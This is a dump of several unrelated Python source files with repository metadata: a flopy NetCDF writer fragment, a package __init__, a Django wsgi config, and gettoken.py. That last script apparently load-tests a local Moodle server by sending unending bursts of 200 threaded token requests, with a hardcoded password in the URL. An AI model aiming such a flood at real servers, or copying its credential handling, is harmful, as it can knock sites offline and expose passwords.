attributes.pop("long_name",name) if name in STANDARD_VARS and name in self.nc.variables.keys(): return if ( name not in self.var_attr_dict.keys() and name in self.nc.variables.keys() ): if self.forgive: self.logger.warn( "skipping duplicate variable: {0}".format(name) ) return else: raise Exception("duplicate variable name: {0}".format(name)) if name in self.nc.variables.keys(): raise Exception("duplicate variable name: {0}".format(name)) self.log("creating variable: " + str(name)) assert ( precision_str in PRECISION_STRS ), "netcdf.create_variable() error: precision string {0} not in {1}".format( precision_str, PRECISION_STRS ) if self.nc is None: self.initialize_file() # check that the requested dimension exists and # build up the chuck sizes # chunks = [] # for dimension in dimensions: # assert self.nc.dimensions.get(dimension) is not None, \ # "netcdf.create_variable() dimension not found:" + dimension # chunk = self.chunks[dimension] # assert chunk is not None, \ # "netcdf.create_variable() chunk size of {0} is None in self.chunks". \ # format(dimension) # chunks.append(chunk) self.var_attr_dict[name] = attributes var = self.nc.createVariable( name, precision_str, dimensions, fill_value=self.fillvalue, zlib=True, ) # , # chunksizes=tuple(chunks)) for k, v in attributes.items(): try: var.setncattr(k, v) except: self.logger.warn( "error setting attribute" + "{0} for variable {1}".format(k, name) ) self.log("creating variable: " + str(name)) return var def add_global_attributes(self, attr_dict): if self.nc is None: # self.initialize_file() mess = ( "NetCDF.add_global_attributes() should only " + "be called after the file has been initialized" ) self.logger.warn(mess) raise Exception(mess) self.log("setting global attributes") self.nc.setncatts(attr_dict) self.log("setting global attributes") def add_sciencebase_metadata(self, id, check=True): md = acdd(id, model=self.model) if md.sb is not None: if check: self._check_vs_sciencebase(md) # get set of public attributes attr = {n for n in dir(md) if "_" not in n[0]} # skip some convenience attributes skip = { "bounds", "creator", "sb", "xmlroot", "time_coverage", "get_sciencebase_xml_metadata", "get_sciencebase_metadata", } towrite = sorted(list(attr.difference(skip))) for k in towrite: v = md.__getattribute__(k) if v is not None: # convert everything to strings if not isinstance(v, str): if isinstance(v, list): v = ",".join(v) else: v = str(v) self.global_attributes[k] = v self.nc.setncattr(k, v) self.write() return md def _check_vs_sciencebase(self, md): xmin, ymin, xmax, ymax = self.bounds tol = 1e-5 assert md.geospatial_lon_min - xmin < tol assert md.geospatial_lon_max - xmax < tol assert md.geospatial_lat_min - ymin < tol assert md.geospatial_lat_max - ymax < tol assert md.geospatial_vertical_min - self.vbounds[0] < tol assert md.geospatial_vertical_max - self.vbounds[1] < tol def get_longnames_from_docstrings(self, outfile="longnames.json"): def startstop(ds): start, stop = 0, -1 for i, l in enumerate(ds): if "Parameters" in l and "----" in ds[i + 1]: start = i + 2 if l.strip() in ["Attributes", "Methods", "Returns", "Notes"]: stop = i - 1 break if i >= start and "----" in l: stop = i - 2 break return start, stop def get_entries(ds): stuff = {} k = None for line in ds: if ( len(line) >= 5 and line[:4] == " " * 4 and line[4] != " " and ":" in line ): k = line.split(":")[0].strip() stuff[k] = "" # lines with parameter descriptions elif k is not None and len(line) > 10: # avoid orphans stuff[k] += line.strip() + " " return stuff # get a list of the flopy classes # packages = inspect.getmembers(flopy.modflow, inspect.isclass) packages = [(pp.name[0], pp) for pp in self.model.packagelist] # get a list of the NetCDF variables attr = [v.split("_")[-1] for v in self.nc.variables] # parse docstrings to get long names longnames = {} for pkg in packages: # parse the docstring obj = pkg[-1] ds = obj.__doc__.split("\n") start, stop = startstop(ds) txt = ds[start:stop] if stop - start > 0: params = get_entries(txt) for k, v in params.items(): if k in attr: longnames[k] = v.split(". ")[0] # add in any variables that weren't found for var in attr: if var not in longnames.keys(): longnames[var] = "" with open(outfile, "w") as output: json.dump(longnames, output, sort_keys=True, indent=2) return longnames

true

f701952e324b29325e0950a0fc07100cde7c3a5b

244

py

Python

enviopack/__init__.py

adrianpaesani/enviopack

7387cc78c76e589e95ac65345a9196738689cc0b

[ "MIT" ]

null

enviopack/__init__.py

adrianpaesani/enviopack

7387cc78c76e589e95ac65345a9196738689cc0b

[ "MIT" ]

null

enviopack/__init__.py

adrianpaesani/enviopack

7387cc78c76e589e95ac65345a9196738689cc0b

[ "MIT" ]

1

2021-07-12T00:05:55.000Z

# -*- coding: utf-8 -*- from .Enviopack import Enviopack from .Auth.Auth import Auth from .Quote.Quote import Quote from .Pickings.Pickings import Pickings from .Orders.Orders import Orders __version__ = "0.4.6" __author__ = "Federico Gobea"

22.181818

39

0.754098

from .Enviopack import Enviopack from .Auth.Auth import Auth from .Quote.Quote import Quote from .Pickings.Pickings import Pickings from .Orders.Orders import Orders __version__ = "0.4.6" __author__ = "Federico Gobea"

true

f70195a36662791fd3e1eb4b6744c001727d1c5d

411

py

Python

backend/billsengine_31836/wsgi.py

crowdbotics-apps/billsengine-31836

f67d69303f16f3612b32f66f139e93d3a382effb

[ "FTL", "AML", "RSA-MD" ]

null

backend/billsengine_31836/wsgi.py

crowdbotics-apps/billsengine-31836

f67d69303f16f3612b32f66f139e93d3a382effb

[ "FTL", "AML", "RSA-MD" ]

null

backend/billsengine_31836/wsgi.py

crowdbotics-apps/billsengine-31836

f67d69303f16f3612b32f66f139e93d3a382effb

[ "FTL", "AML", "RSA-MD" ]

null

""" WSGI config for billsengine_31836 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'billsengine_31836.settings') application = get_wsgi_application()

24.176471

78

0.79562

import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'billsengine_31836.settings') application = get_wsgi_application()

true

f701962016b67a8ff9257acba3cbef163454f9e8

765

py

Python

gettoken.py

kim3-sudo/moodletesting

93adb08e84bf4e2299cb9a989d66de68dfe4cb67

[ "MIT" ]

null

gettoken.py

kim3-sudo/moodletesting

93adb08e84bf4e2299cb9a989d66de68dfe4cb67

[ "MIT" ]

1

2022-01-31T22:29:56.000Z

2022-02-16T18:49:51.000Z

gettoken.py

kim3-sudo/moodletesting

93adb08e84bf4e2299cb9a989d66de68dfe4cb67

[ "MIT" ]

null

import requests import threading import random import json usernames = json.loads(open("usernames.json", "r").read()) password = '%4B%65%6E%79%6F%6E%35%25' # A hex encoded password siteurl = '192.168.122.61' def run(): username = random.choice(usernames) token = requests.get('http://' + siteurl + '/login/token.php?username=' + username + '&password=' + password + '&service=moodle_mobile_app').json()["token"] print(f'{token}') while True: #run() #""" numthreads = 200 threads = [] for i in range(numthreads): t = threading.Thread(target = run) t.daemon = True threads.append(t) for i in range(numthreads): threads[i].start() for i in range(numthreads): threads[i].join() #"""

27.321429

160

0.618301

import requests import threading import random import json usernames = json.loads(open("usernames.json", "r").read()) password = '%4B%65%6E%79%6F%6E%35%25' siteurl = '192.168.122.61' def run(): username = random.choice(usernames) token = requests.get('http://' + siteurl + '/login/token.php?username=' + username + '&password=' + password + '&service=moodle_mobile_app').json()["token"] print(f'{token}') while True: numthreads = 200 threads = [] for i in range(numthreads): t = threading.Thread(target = run) t.daemon = True threads.append(t) for i in range(numthreads): threads[i].start() for i in range(numthreads): threads[i].join() #"""

true